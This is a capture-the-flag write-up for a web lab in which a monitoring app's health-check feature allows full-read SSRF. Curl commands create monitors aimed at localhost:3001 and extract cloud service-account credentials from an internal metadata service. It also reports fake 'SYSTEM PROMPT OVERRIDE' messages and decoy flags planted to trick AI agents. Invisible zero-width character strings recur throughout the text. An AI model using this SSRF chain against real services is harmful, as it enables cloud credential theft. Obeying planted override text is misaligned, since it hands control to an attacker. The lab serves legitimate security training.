Lab 256 — UptimeRadar — SSRF via URL Health Check

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-05 | Status: Solved Techniques: cloud_metadata_credential_theft, honeypot_flag_detection, internal_service_discovery, monitor_creation_ssrf, ssrf_via_url_parameter

Summary

Task: UptimeRadar monitoring platform with URL health check feature, no SSRF protection on monitor URLs. Solution: Created monitor pointing to localhost:3001 internal metadata service, extracted cloud service account access_token containing the flag.

Lab 256 — UptimeRadar — SSRF via URL Health Check — HackAdvisor

Description

UptimeRadar is an infrastructure monitoring platform built by Beacon Systems Inc. Teams use it to set up HTTP health checks for their services, view uptime metrics, and receive alerts when endpoints go down. The platform features a dashboard with service status overview, monitor configuration, incident history, SLA compliance reports, and team notification settings. You can add monitors for any URL and run on-demand health checks to verify endpoint availability. The goal is to find and capture the flag hidden somewhere in the infrastructure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: UptimeRadar is a Node.js/Express monitoring platform (v2.4.1) behind nginx/1.25.5. Users can create URL monitors and run on-demand health checks. The health check endpoint returns the full HTTP response body from the target URL — a classic full-read SSRF vector. No IP blocklist is enforced, allowing requests to internal services. An internal metadata service runs on localhost:3001 containing cloud credentials with the flag.

Tech stack: Express.js (Node.js), nginx/1.25.5, UptimeRadar v2.4.1 by Beacon Systems Inc. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Credentials: user@test.com / password123

Analysis

Reconnaissance

After logging in via POST /login, the dashboard shows 6 monitors tracking various beaconsystems.com subdomains. Key application pages:

• Dashboard (/) — service status overview
• Monitors (/monitors) — list of configured monitors
• New Monitor (/monitors/new) — create a new monitor with user-supplied URL
• Incidents (/incidents) — incident history
• Reports (/reports) — SLA compliance reports
• Settings (/settings) — team members (Rachel Torres - admin, Marcus Chen - member), API key, notifications ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flag (Honeypot)

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in hidden HTML comments and off-screen <div> elements. The pages also contain fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents. These were correctly identified and ignored — the decoy flag format and placement (repeated across every page in hidden elements) is a clear honeypot pattern.

SSRF Vector

The /monitors/new page allows creating monitors with a user-supplied URL via POST /monitors with form data: name, url, interval, expected_status, custom_headers. Each monitor detail page (/monitors/{id}) has a "Run Check Now" button that triggers POST /monitors/{id}/check. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The check endpoint returns JSON with status_code, response_time, and response_body — making this a full-read SSRF vector. Critically, no IP blocklist is enforced on monitor creation, so internal URLs like http://127.0.0.1:3001/ are accepted without filtering.

Solution

Step 1: Authenticate

 bash read-only • copy allowed Copy
URL="https://1991d825-a28d-444b-9e7a-cdae35f0858d.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123"

Step 2: Create SSRF Monitor Targeting Internal Service

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Create a monitor pointing to localhost:3001 (internal metadata service)
curl -s -b cookies.txt -X POST "$URL/monitors" \
  -d "name=ssrf&url=http%3A%2F%2F127.0.0.1%3A3001%2F&interval=60&expected_status=200"

Step 3: Discover Internal Metadata Service

 bash read-only • copy allowed Copy
# Run the health check (monitor ID obtained from /monitors page)
curl -s -b cookies.txt -X POST "$URL/monitors/12/check"

The response body revealed the Beacon Systems Instance Metadata Service v2.1.0 with endpoint /v1/. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Enumerate Metadata Endpoints

Created a monitor pointing to http://127.0.0.1:3001/v1/ which listed categories:

• instance/metadata — instance ID, hostname, zone, machine type, project ID
• instance/credentials — service account credentials including access token
• instance/ssh-keys
• instance/network
• project/attributes — project ID, project number

Step 5: Extract Flag from Cloud Credentials

Created a monitor pointing to http://127.0.0.1:3001/v1/instance/credentials and ran the check: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Create monitor for credentials endpoint
curl -s -b cookies.txt -X POST "$URL/monitors" \
  -d "name=creds&url=http%3A%2F%2F127.0.0.1%3A3001%2Fv1%2Finstance%2Fcredentials&interval=60&expected_status=200"

# Run the check
curl -s -b cookies.txt -X POST "$URL/monitors/13/check"

Response:

 json read-only • copy allowed Copy
{
  "service_account": "uptimeradar-worker@beacon-systems-prod-47291.iam.gserviceaccount.com",
  "access_token": "FLAG{REDACTED}",
  "token_type": "Bearer",
  "expires_in": 3599,
  "scope": "https://www.googleapis.com/auth/cloud-platform"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The access_token field contained the flag.

Instance Metadata Retrieved